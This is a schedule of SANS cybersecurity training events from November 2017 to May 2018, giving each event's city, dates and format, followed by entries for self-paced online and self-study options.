SIEM & Tactical Analytics Summit & Training	Scottsdale, AZ	Nov 28, 2017 - Dec 05, 2017	Live Event
SANS Munich December 2017	Munich, Germany	Dec 04, 2017 - Dec 09, 2017	Live Event
SANS Cyber Defense Initiative 2017	Washington, DC	Dec 12, 2017 - Dec 19, 2017	Live Event
SANS Security East 2018	New Orleans, LA	Jan 08, 2018 - Jan 13, 2018	Live Event
Las Vegas 2018 - SEC503: Intrusion Detection In-Depth	Las Vegas, NV	Jan 28, 2018 - Feb 02, 2018	vLive
SANS Las Vegas 2018	Las Vegas, NV	Jan 28, 2018 - Feb 02, 2018	Live Event
SANS London February 2018	London, United Kingdom	Feb 05, 2018 - Feb 10, 2018	Live Event
SANS Dallas 2018	Dallas, TX	Feb 19, 2018 - Feb 24, 2018	Live Event
SANS Northern VA Spring - Tysons 2018	Tysons, VA	Mar 17, 2018 - Mar 24, 2018	Live Event
SANS Secure Canberra 2018	Canberra, Australia	Mar 19, 2018 - Mar 24, 2018	Live Event
SANS 2018	Orlando, FL	Apr 03, 2018 - Apr 10, 2018	Live Event
SANS Baltimore Spring 2018	Baltimore, MD	Apr 21, 2018 - Apr 28, 2018	Live Event
SANS Security West 2018	San Diego, CA	May 11, 2018 - May 16, 2018	Live Event
SANS OnDemand	Online	Anytime	Self Paced
SANS SelfStudy	Books & MP3s Only	Anytime	Self Paced